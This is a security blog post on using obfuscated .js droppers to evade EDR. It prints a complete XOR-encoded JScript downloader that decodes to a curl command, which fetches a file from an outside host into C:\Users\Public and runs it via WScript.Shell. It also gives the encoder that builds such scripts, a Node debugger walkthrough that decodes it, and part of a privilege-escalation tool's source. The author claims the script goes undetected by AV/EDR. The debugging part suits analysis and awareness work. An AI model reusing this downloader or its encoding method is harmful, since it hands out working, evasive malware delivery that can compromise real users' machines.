Malware EDR Evasion Techniques
Yo, how’s it going everyone. Sorry it’s been a while since my last post. Fear not, I’m geared up and ready to dive in to a full discussion on Malware evasive maneuvers…specifically, .js
files for the first drops on a machine. Oh and yes, you’re reading that correctly. I said .js, because believe it or not it is still actively used and HIGHLY effective at bypassing your most common EDR solutions today. Why is that? Well, it’s likely due to a few reasons:
- Living off the land binaries
- Improved obfuscation techniques
- .js scripts just aren’t as heavily scrutinized by EDR like an .exe or .ps1 would be.
- The methods used within the scripts themselves. A lot of various methods can be implemented to avoid AV triggers, such as the binary you use to download your payloads and exfiltrate information
okay, so here’s the malware specimen. This is a rough representation of the malware I recently analyzed but in this case, I added some of my own methods of obfuscation and encoding techniques, most of them fairly well known. We have variable names scrambled, strings XOR’ed, and so on. This accomplishes a few things, namely ease of execution without triggering AV/EDR, depending on the techniques used within the .js
script. I use living off the land techniques to download additional payloads within the script. You must be cautious at this point in your script. EDR solutions are well familiar with BITSADMIN, certutil, powershell iex, etc. I always test my scripts against live EDR solutions to ensure the techniques used within the script are able to successfully bypass EDR; at least until folks start submitting them to virustotal 😅 You will get to see the LOTL tool I use to download a secondary file once we decode the below code:
The Obfuscated Code
var fsh35h35h35h353h5r = [];
var njgpwoeotgoo7u3upo35h5bho = [];
var llgll325h3l5l4 = [];
var vffvfvrt9bvwetr8bwrt8bwrb8w = [];
var vcg35b53hg53gh = [43,61,58,36,104,101,35,104,101,46,104,101,59,104,101,4,104];
var hhghj46j46 = [104,101,39,104,43,114,103,61,59,45,58,59,103,56,61,42,36,33,43,103,60,32,45,44,58,39,56,56,45,44,46,33,36,45];
var b33h3h354f3 = [32,60,60,56,59,114,103,103,58,41,63,102,47,33,60,32,61,42,61,59,45,58,43,39,38,60,45,38,60,102,43,39,37,103,47,123,60,59,49,59,60,123,37,103,45,36,45,62,41,60,33,39,38,59,60,41,60,33,39,38,103,37,41,33,38,103,45,36,45,62,41,60,33,39,38,59,60,41,60,33,39,38,103,45,36,45,62,41,60,33,39,38,59,60,41,60,33,39,38,102,43,56,56];
var nn7unj4n465j=vcg35b53hg53gh.length;
var b46n354j3547=hhghj46j46.length;
var drygh64uj=b33h3h354f3.length;
var n86k468534 = new ActiveXObject('WScript.Shell');
for (a=0;a<nn7unj4n465j;a++)
{
fsh35h35h35h353h5r[a]=String.fromCharCode(vcg35b53hg53gh[a] ^ 72);
}
for (a=0;a<b46n354j3547;a++)
{
llgll325h3l5l4[a]=String.fromCharCode(hhghj46j46[a] ^ 72);
}
for (a=0;a<drygh64uj;a++)
{
vffvfvrt9bvwetr8bwrt8bwrb8w[a]=String.fromCharCode(b33h3h354f3[a] ^ 72);
}
bnnbn6hn64jn46j4n3jn4=fsh35h35h35h353h5r.join("");
qswfg3yh35h35=llgll325h3l5l4.join("");
njgpwoeotgoo7u3upo35h5bho=vffvfvrt9bvwetr8bwrt8bwrb8w.join("");
n86k468534.Run(bnnbn6hn64jn46j4n3jn4+njgpwoeotgoo7u3upo35h5bho+qswfg3yh35h35);
How can we detonate this safely? well, first of all we will want to comment out some lines so our debugging session cooperates nicely! I will show you how to do that now.
For starters, make sure you have Node.js installed: grab Node using this link
next, we need to comment out this line in the above code:
//var n86k468534 = new ActiveXObject('WScript.Shell');
and comment out this line:
//n86k468534.Run(bnnbn6hn64jn46j4n3jn4+njgpwoeotgoo7u3upo35h5bho+qswfg3yh35h35);
The reason for this prepwork is due to Node’s incompatibility with ActiveXObjects, at least natively. We want to avoid throwing errors as much as possible while debugging.
okay, now fire up cmd.exe and enter the following command: node inspect [js script]
here’s how it looks on my end:
C:\temp\ourjsfiles>node inspect obfuscated.js
< Debugger
< listening on ws://127.0.0.1:9229/a8460333-5031-4d4e-8b46-e0cb41fe28cd
< For help, see: https://nodejs.org/en/docs/inspector
< Debugger attached.
Break on start in obfuscated.js:1
> 1 var fsh35h35h35h353h5r = [];
2 var njgpwoeotgoo7u3upo35h5bho = [];
3 var llgll325h3l5l4 = [];
debug>
we want to hit ‘n’ to go line by line until we find a variable we want to watch to see what values are set by the variable as we see fit.
debug> n
break in obfuscated.js:3
1 var fsh35h35h35h353h5r = [];
2 var njgpwoeotgoo7u3upo35h5bho = [];
> 3 var llgll325h3l5l4 = [];
4 var vffvfvrt9bvwetr8bwrt8bwrb8w = [];
5 var vcg35b53hg53gh = [43,61,58,36,104,101,35,104,101,46,104,101,59,104,101,4,104];
debug> n
break in obfuscated.js:4
2 var njgpwoeotgoo7u3upo35h5bho = [];
3 var llgll325h3l5l4 = [];
> 4 var vffvfvrt9bvwetr8bwrt8bwrb8w = [];
5 var vcg35b53hg53gh = [43,61,58,36,104,101,35,104,101,46,104,101,59,104,101,4,104];
6 var hhghj46j46 = [104,101,39,104,43,114,103,61,59,45,58,59,103,56,61,42,36,33,43,103,60,32,45,44,58,39,56,56,45,44,46,33,36,45];
debug> n
break in obfuscated.js:5
3 var llgll325h3l5l4 = [];
4 var vffvfvrt9bvwetr8bwrt8bwrb8w = [];
> 5 var vcg35b53hg53gh = [43,61,58,36,104,101,35,104,101,46,104,101,59,104,101,4,104];
6 var hhghj46j46 = [104,101,39,104,43,114,103,61,59,45,58,59,103,56,61,42,36,33,43,103,60,32,45,44,58,39,56,56,45,44,46,33,36,45];
7 var b33h3h354f3 = [32,60,60,56,59,114,103,103,58,41,63,102,47,33,60,32,61,42,61,59,45,58,43,39,38,60,45,38,60,102,43,39,37,103,47,123,60,59,49,59,60,123,37,103,45,36,45,62,41,60,33,39,38,59,60,41,60,33,39,38,103,37,41,33,38,103,45,36,45,62,41,60,33,39,38,59,60,41,60,33,39,38,103,45,36,45,62,41,60,33,39,38,59,60,41,60,33,39,38,102,43,56,56];
debug> watch("fsh35h35h35h353h5r") <-- I want to watch this variable since it's not populated yet
debug> watch("njgpwoeotgoo7u3upo35h5bho") <-- I want to watch this variable since it's not populated yet
debug> watch("llgll325h3l5l4") <-- I want to watch this variable since it's not populated yet
debug> watch("vffvfvrt9bvwetr8bwrt8bwrb8w") <-- I want to watch this variable since it's not populated yet
debug>
You can type watchers
to see your watched values populate in real time:
debug> watchers
debug> watchers
0: fsh35h35h35h353h5r = [ ]
1: njgpwoeotgoo7u3upo35h5bho = [ ]
2: llgll325h3l5l4 = [ ]
3: vffvfvrt9bvwetr8bwrt8bwrb8w = undefined
hit 'n'
and then hit [enter]
a few times to continue line by line until we hit the for loop.
We can see this for loop is doing a decode routine. it’s using the ^
character which is used for XOR bitwise operations. So, this is decoding a previously encoded string!
Hit [enter]
until you start to see your 1st watchers value update, and you cycle through your first for loop:
Watchers:
0: fsh35h35h35h353h5r = [ 'c', 'u', 'r', 'l' ] <-- we found something!!! let's keep going...
1: njgpwoeotgoo7u3upo35h5bho = [ ]
2: llgll325h3l5l4 = [ ]
3: vffvfvrt9bvwetr8bwrt8bwrb8w = [ ]
11
12 //var n86k468534 = new ActiveXObject('WScript.Shell');
>13 for (a=0;a<nn7unj4n465j;a++)
14 {
15 fsh35h35h35h353h5r[a]=String.fromCharCode(vcg35b53hg53gh[a] ^ 72);
debug>
okay, I don’t want you to have to keep hitting [enter]
over and over again, so let’s set a breakpoint on the next two for loops and the first “join” command, shall we?
debug> sb(“obfuscated.js”,17)
debug> sb(“obfuscated.js”,21)
debug> sb(“obfuscated.js”,26)
now, all we have to do is hit 'c'
to continue debugging until the next breakpoint and we don’t have to hit enter through each for loop. Plus, setting a breakpoint after the for loop helps us find a good pause point to review our watchers values. I wonder what surprises await us?! 😸
hit 'c'
until you are on line 26:
26 bnnbn6hn64jn46j4n3jn4=fsh35h35h35h353h5r.join(“”);
then type in watchers
. you should see the following, in an ugly vertical format:
fsh35h35h35h353h5r =
[ 'c',
'u',
'r',
'l',
' ',
'-',
'k',
' ',
'-',
'f',
' ',
'-',
's',
' ',
'-',
'L',
' ' ]
formatted, that would be: curl -k -f -s -L
so it seems we are using a living off the land binary!
don’t worry, the nasty formatting cleans up later 😄 okay, set another breakpoint on line 29, like so:
debug> sb(“obfuscated.js”,29)
now, you should see three new variables, we need the final values of those, so let’s watch them, and unwatch the other three we set earlier:
unwatch("fsh35h35h35h353h5r")
unwatch("llgll325h3l5l4")
unwatch("vffvfvrt9bvwetr8bwrt8bwrb8w")
watch("bnnbn6hn64jn46j4n3jn4")
watch("qswfg3yh35h35")
then, type watchers
again, and prepare to be amazed! It’s all three variables fully spelled out now!
the reason for this is that the for loop was obviously incrementing character by character and that’s why it was displayed in that nasty vertifical format.
however, now, we have three new variables that cleanly join each variable array together and clean everything up nicely as you can now see:
debug> watchers
0: bnnbn6hn64jn46j4n3jn4 = 'curl -k -f -s -L '
1: njgpwoeotgoo7u3upo35h5bho = 'https://raw.githubusercontent.com/g3tsyst3m/elevationstation/main/elevationstation/elevationstation.cpp'
2: qswfg3yh35h35 = ' -o c:/users/public/thedroppedfile'
And there you have it! We successfully debugged the obfuscated AND decoded that nasty .js malware sample statically, without actually executing the link. Good news is, it’s harmless as this is just an exercise and it would have downloaded my elevationstation.cpp file to your public users directory.
The Encoding Routine
So, how would a hacker go about making one of these nasty scripts? It’s fairly trivial if you know basic javascript if I’m being honest. I could have simplfied this by only using one variable instead of three for the strings, but splitting up the variable strings adds further obfuscation to your code:
//encoder.js
var encodedURI = [];
var encoded = [];
var ccc = "curl -k -f -s -L ";
var lastccc=" -o c:/users/public/thedroppedfile";
var thelink="https://raw.githubusercontent.com/g3tsyst3m/elevationstation/main/elevationstation/elevationstation.cpp"; <-- file we want to download to the 'victim'
var sizeof1=ccc.length;
var sizeof2=lastccc.length;
var sizeof3=thelink.length;
for (a=0;a<sizeof1;a++)
{
encoded[a]=ccc.charCodeAt(a) ^ 72; <-- XOR encoding using the decimal value '72'
}
WScript.Echo("curl encoded: " + encoded);
for (a=0;a<sizeof2;a++)
{
encoded[a]=lastccc.charCodeAt(a) ^ 72; <-- XOR encoding using the decimal value '72'
}
WScript.Echo("last part of curl encoded: " + encoded);
for (a=0;a<sizeof3;a++)
{
encodedURI[a]=thelink.charCodeAt(a) ^ 72; <-- XOR encoding using the decimal value '72'
}
//finalURI="%"+encodedURI.join("%");
WScript.Echo("The URL encoded: "+encodedURI);
Let’s run it… 😜
C:\temp\ourjsfiles>cscript encoder.js
Microsoft (R) Windows Script Host Version 5.812
Copyright (C) Microsoft Corporation. All rights reserved.
curl encoded: 43,61,58,36,104,101,35,104,101,46,104,101,59,104,101,4,104
last part of curl encoded: 104,101,39,104,43,114,103,61,59,45,58,59,103,56,61,42,36,33,43,103,60,32,45,44,58,39,56,56,45,44,46,33,36,45
The URL encoded: 32,60,60,56,59,114,103,103,58,41,63,102,47,33,60,32,61,42,61,59,45,58,43,39,38,60,45,38,60,102,43,39,37,103,47,123,60,59,49,59,60,123,37,103,45,36,45,62,41,60,33,39,38,59,60,41,60,33,39,38,103,37,41,33,38,103,45,36,45,62,41,60,33,39,38,59,60,41,60,33,39,38,103,45,36,45,62,41,60,33,39,38,59,60,41,60,33,39,38,102,43,56,56
so, we have our xor encoded values. Let’s add them to our decode routine.
The Decoding Routine
//decoder.js
var decoded1 = [];
var linkURI = [];
var decoded2 = [];
var decodedURI = [];
var encoded1 = [43,61,58,36,104,101,35,104,101,46,104,101,59,104,101,4,104];
var encoded2 = [104,101,39,104,43,114,103,61,59,45,58,59,103,56,61,42,36,33,43,103,60,32,45,44,58,39,56,56,45,44,46,33,36,45];
var thelink = [32,60,60,56,59,114,103,103,58,41,63,102,47,33,60,32,61,42,61,59,45,58,43,39,38,60,45,38,60,102,43,39,37,103,47,123,60,59,49,59,60,123,37,103,45,36,45,62,41,60,33,39,38,59,60,41,60,33,39,38,103,37,41,33,38,103,45,36,45,62,41,60,33,39,38,59,60,41,60,33,39,38,103,45,36,45,62,41,60,33,39,38,59,60,41,60,33,39,38,102,43,56,56];
var sizeof1=encoded1.length;
var sizeof2=encoded2.length;
var sizeof3=thelink.length;
var obj = new ActiveXObject('WScript.Shell');
for (a=0;a<sizeof1;a++)
{
decoded1[a]=String.fromCharCode(encoded1[a] ^ 72);
}
for (a=0;a<sizeof2;a++)
{
decoded2[a]=String.fromCharCode(encoded2[a] ^ 72);
}
for (a=0;a<sizeof3;a++)
{
decodedURI[a]=String.fromCharCode(thelink[a] ^ 72);
}
decode1final=decoded1.join("");
decode2final=decoded2.join("");
linkURI=decodedURI.join("");
WScript.Echo(decode1final + linkURI + decode2final);
obj.Run(decode1final+linkURI+decode2final);
let’s run it!
want to see what’s inside the dropped file? It’s the code to elevationstation:
C:\temp\ourjsfiles>type c:\users\Public\thedroppedfile
#define _CRT_SECURE_NO_WARNINGS
#include <iostream>
#include <fstream>
#include <Windows.h>
#include <string>
#include <conio.h>
#include <lmcons.h>
#include <tchar.h>
#include <strsafe.h>
#include <sddl.h>
#include <userenv.h>
#include <Dbghelp.h>
#include <winternl.h>
#include <TlHelp32.h>
#include <psapi.h>
#include "def.h"
#pragma comment(lib, "userenv.lib")
using namespace std;
//errorcodes: https://learn.microsoft.com/en-us/windows/win32/debug/system-error-codes--0-499-
//integrity levels (good resource!): https://learn.microsoft.com/en-us/previous-versions/dotnet/articles/bb625963(v=msdn.10)?redirectedfrom=MSDN
//get process name: https://stackoverflow.com/questions/4570174/how-to-get-the-process-name-in-c
//change integrity level: https://social.msdn.microsoft.com/Forums/en-US/4c78de2f-376c-4eb1-834b-de681f866ada/change-integrity-level-in-current-process-uiaccess?forum=vcgeneral
//more integrity level info: https://stackoverflow.com/questions/12774738/how-to-determine-the-integrity-level-of-a-process
//more integrity level info #2: https://social.msdn.microsoft.com/Forums/windowsdesktop/en-US/09ebc7f1-e3e9-4fd3-a57e-1d43b36e8f82/how-to-tell-what-processes-are-running-with-elevated-privileges?forum=windowssecurity
//SID info: https://learn.microsoft.com/en-US/windows-server/identity/ad-ds/manage/understand-security-identifiers
//lower our token integrity level example: https://kb.digital-detective.net/display/BF/Understanding+and+Working+in+Protected+Mode+Internet+Explorer
void Color(int color)
{
SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE), color);
}
BOOL NamedPipeImpersonate()
{
setProcessPrivs(SE_IMPERSONATE_NAME);
Color(2);
cout << "[+] Downloading named pipe client for you from the repo\n";
Color(7);
So, our dropped file was downloaded successfully. How about AV/EDR?
I’ll scan it for you so you can see for yourself:
nothing. no alerts, triggers, nothing.
As for how I obfuscated it, there are online tools for that but honestly I just did control+F and did find and replace, typing in random letters on my keyboard to jumble the variable names. pretty easy.
You can defend against this type of malware threat with Windows Application Control and proper group policies surrounding what your users can and cannot execute. .js scripts are likely never going to be a script your user will need to use on it’s own outside of a browser
Code From Today’s Writeup
As Always, thank you for your time and I hope this proves helpful toward greater security awareness around this type of malware technique
-R.B.C.
Leave a comment